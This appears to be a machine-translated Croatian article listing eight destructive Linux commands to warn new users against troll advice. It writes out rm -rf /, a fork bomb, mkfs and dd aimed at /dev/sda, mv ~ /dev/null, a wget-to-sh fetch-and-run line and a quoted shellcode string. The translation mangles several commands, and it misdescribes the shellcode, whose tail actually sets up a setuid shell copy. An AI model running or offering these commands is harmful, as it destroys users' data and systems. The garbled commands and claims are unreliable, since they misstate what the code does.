8 smrtonosnih naredbi koje nikada ne biste trebali trčati na Linuxu

Sadržaj:

8 smrtonosnih naredbi koje nikada ne biste trebali trčati na Linuxu
8 smrtonosnih naredbi koje nikada ne biste trebali trčati na Linuxu

Video: 8 smrtonosnih naredbi koje nikada ne biste trebali trčati na Linuxu

Video: 8 smrtonosnih naredbi koje nikada ne biste trebali trčati na Linuxu
Video: CS50 2013 - Week 9 - YouTube 2024, Travanj
Anonim
Linuxove terminalne naredbe su snažne, a Linux neće tražiti potvrdu ako pokrenete naredbu koja će razbiti vaš sustav. Nije neuobičajeno vidjeti trolove koji online preporučuju novim Linux korisnicima da upravljaju ovim naredbama kao šalu.
Linuxove terminalne naredbe su snažne, a Linux neće tražiti potvrdu ako pokrenete naredbu koja će razbiti vaš sustav. Nije neuobičajeno vidjeti trolove koji online preporučuju novim Linux korisnicima da upravljaju ovim naredbama kao šalu.

Učenje naredbi koje ne biste trebali pokrenuti može vam pomoći u zaštiti od trolova, a povećavajući razumijevanje načina na koji Linux radi. Ovo nije iscrpan vodič, a ovdje se naredbe mogu remixirati na različite načine.

Imajte na umu da će mnoge od tih naredbi biti opasne samo ako imaju unaprijed određenu naredbu sudo na Ubuntu - neće raditi drugačije. Na drugim Linux distribucijama, većina naredbi mora biti pokrenuta kao root.

rm -rf / - Briše sve!

Naredba rm-rf / briše sve što je moguće, uključujući datoteke na tvrdom disku i datoteke na povezanim prijenosnim medijskim uređajima. Ova naredba je više razumljiva ako je razbijena:

rm – Remove the following files.

- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.

Linux će sretno poslušati ovu naredbu i izbrisati sve bez vašeg upozorenja, pa budite oprezni pri korištenju! Naredba rm također se može koristiti i na drugim opasnim načinima - rm-rf ~ će izbrisati sve datoteke u vašoj početnoj mapi, dok rm-rf. * izbrisat će sve vaše konfiguracijske datoteke.

Lekcija: Čuvajte se rm-rf.

Prerušeno rm-rf /

Evo još jednog isječka koda koji se nalazi diljem weba:

char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ovo je hex inačica rm-rf / izvršavanje ove naredbe izbrisat će vaše datoteke kao da ste pokrenuli rm-rf /.

Lekcija: Nemojte voditi čudne izglede, očito prerušene naredbe koje ne razumijete.

: () {: |: &};: - Fork Bomba

Sljedeća linija je jednostavna, ali opasna, bash funkcija:

:(){:|: &};:

Ova kratka crta definira funkciju ljuske koja stvara nove kopije same. Postupak se neprekidno replicira, a kopije se neprekidno repliciraju, brzo zauzimaju sve vaše vrijeme i memoriju procesora. To može uzrokovati zamrzavanje računala. To je u osnovi napad od poricanja službe.

Lekcija: Bash funkcije su moćne, čak i vrlo kratke.

Image
Image

mkfs.ext4 / dev / sda1 - formatira tvrdi disk

mkfs.ext4 / dev / sda1naredba je jednostavna za razumijevanje:

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

Zajedno, ova naredba može biti ekvivalentna trčanju formata c: na sustavu Windows - obrišit će datoteke na prvoj particiji i zamijeniti ih novim datotečnim sustavom.

Ova naredba može doći i u drugim oblicima - mkfs.ext3 / dev / sdb2 formatirat će drugu particiju na drugom tvrdom disku s ext3 datotečnim sustavom.

Lekcija: Pazite da pokrenete naredbe izravno na uređajima s tvrdim diskom koji počinju s / dev / sd.

naredba> / dev / sda - ispisuje izravno na tvrdi disk

naredba> / dev / sda line radi slično - pokreće naredbu i šalje izlaz te naredbe izravno na vaš prvi tvrdi disk, zapisujući podatke izravno na tvrdi disk i oštećujući vaš datotečni sustav.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

Lekcija: Kao što je gore navedeno, pazite da pokrenete naredbe koje uključuju uređaje s tvrdim diskom koji počinju s / dev / sd.

dd if = / dev / slučajni od = / dev / sda - Piše Junk na tvrdi disk

dd if = / dev / slučajni od = / dev / sda linija također će uništiti podatke na jednom od vaših tvrdih diskova.

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

Lekcija: dd kopira podatke s jednog mjesta na drugo, što može biti opasno ako kopirate izravno na uređaj.

Image
Image

mv ~ / dev / null - pomiče svoj početni imenik na crnu rupu

/ dev / null je još jedno posebno mjesto - pomicanje nešto u / dev / null je isto što i uništavanje. Zamislite / dev / null kao crnu rupu. U suštini, mv ~ / dev / null šalje sve vaše osobne datoteke u crnu rupu.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

Lekcija: ~ Znak predstavlja vašu kućnu mapu i premještanje stvari u / dev / null ih uništava.

wget https://example.com/something -O- | sh - preuzima i pokreće skriptu

Gore navedeni redak preuzima skriptu s weba i šalje ga na sh, koji izvršava sadržaj skripte. To može biti opasno ako niste sigurni koja je skripta ili ako ne vjerujete njegovom izvoru - nemojte pokrenuti nepouzdane skripte.

wget – Downloads a file. (You may also see curl in place of wget.)

https://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

Lekcija: Nemojte preuzeti i pokrenuti nepouzdane skripte s weba, čak i pomoću naredbe.

Znate li kakve druge opasne naredbe da novi (i iskusni) korisnici Linuxa ne bi trebali raditi? Ostavite komentar i podijelite ih!

Preporučeni: